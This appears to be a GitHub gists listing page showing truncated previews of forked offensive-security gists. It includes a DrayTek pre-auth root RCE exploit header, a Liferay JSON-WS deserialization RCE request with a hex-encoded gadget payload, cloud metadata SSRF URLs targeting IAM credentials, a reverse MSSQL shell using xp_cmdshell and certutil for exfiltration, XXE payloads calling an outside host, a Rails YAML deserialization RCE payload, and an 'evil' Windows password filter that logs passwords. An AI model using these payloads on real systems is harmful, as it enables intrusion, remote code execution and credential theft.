xxnbyy’s gists

xxnbyy / CVE-2020-8515.go

Created March 30, 2020 10:17 — forked from 0xsha/CVE-2020-8515.go

CVE-2020-8515: DrayTek pre-auth remote root RCE

	package main


	/*
	CVE-2020-8515: DrayTek pre-auth remote root RCE

	Mon Mar 30 2020 - 0xsha.io


	Affected:

xxnbyy / LiferayRce.txt

Created March 28, 2020 05:59 — forked from testanull/LiferayRce.txt

	POST /api/jsonws/invoke HTTP/1.1
	Host: <Host>
	Connection: close
	cmd2: whoami
	Content-Type: application/x-www-form-urlencoded
	Content-Length: 4912

	cmd={"/expandocolumn/update-column":{}}&p_auth=<valid token>&formDate=<date>&columnId=123&name=asdasd&type=1&defaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource={"userOverridesAsString":"HexAsciiSerializedMap:ACED0005737200116A6176612E7574696C2E48617368536574BA44859596B8B7340300007870770C000000023F40000000000001737200346F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6B657976616C75652E546965644D6170456E7472798AADD29B39C11FDB0200024C00036B65797400124C6A6176612F6C616E672F4F626A6563743B4C00036D617074000F4C6A6176612F7574696C2F4D61703B7870740003666F6F7372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73

xxnbyy / cloud_metadata.txt

Created June 19, 2018 06:55 — forked from jhaddix/cloud_metadata.txt

Cloud Metadata Dictionary useful for SSRF Testing

	## AWS
	# from http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories

	http://169.254.169.254/latest/user-data
	http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]
	http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]
	http://169.254.169.254/latest/meta-data/ami-id
	http://169.254.169.254/latest/meta-data/reservation-id
	http://169.254.169.254/latest/meta-data/hostname
	http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key

xxnbyy / content_discovery_all.txt

Created June 19, 2018 06:23 — forked from jhaddix/content_discovery_all.txt

a masterlist of content discovery URLs and files (used most commonly with gobuster)

This file has been truncated, but you can view the full file.

xxnbyy / gist:743aba3755b7f76b2f56791057742749

Created May 2, 2018 07:05

WMIKatz - Are you afraid

	<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt" xmlns:vb="urn:the-xml-files:xslt-vb" xmlns:user="placeholder" version="1.0">
	<!-- Copyright (c) Microsoft Corporation. All rights reserved. -->

	<xsl:output method="text" omit-xml-declaration="yes" indent="no"/>
	<xsl:strip-space elements="*" />

	<ms:script implements-prefix="user" language="JScript">
	<![CDATA[

xxnbyy / mandros.py

Created March 21, 2018 05:49 — forked from xassiz/mandros.py

Reverse MSSQL shell

	import sys
	import requests
	import threading
	import HTMLParser
	from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler

	'''
	Description: Reverse MSSQL shell through xp_cmdshell + certutil for exfiltration
	Author: @xassiz
	'''

xxnbyy / XXE_payloads

Created February 24, 2018 07:42 — forked from staaldraad/XXE_payloads

XXE Payloads

	--------------------------------------------------------------
	Vanilla, used to verify outbound xxe or blind xxe
	--------------------------------------------------------------

	<?xml version="1.0" ?>
	<!DOCTYPE r [
	<!ELEMENT r ANY >
	<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
	]>
	<r>&sp;</r>

xxnbyy / railspwn.rb

Created November 20, 2017 08:38 — forked from niklasb/railspwn.rb

Rails 5.1.4 YAML unsafe deserialization RCE payload

	require 'yaml'
	require 'base64'
	require 'erb'

	class ActiveSupport
	class Deprecation
	def initialize()
	@silenced = true
	end
	class DeprecatedInstanceVariableProxy

xxnbyy / evilpassfilter.cpp

Created September 3, 2017 05:50 — forked from mubix/evilpassfilter.cpp

Evil "Password Filter"

	#include <windows.h>
	#include <stdio.h>
	#include <WinInet.h>
	#include <ntsecapi.h>

	void writeToLog(const char* szString)
	{
	FILE* pFile = fopen("c:\\windows\\temp\\logFile.txt", "a+");
	if (NULL == pFile)
	{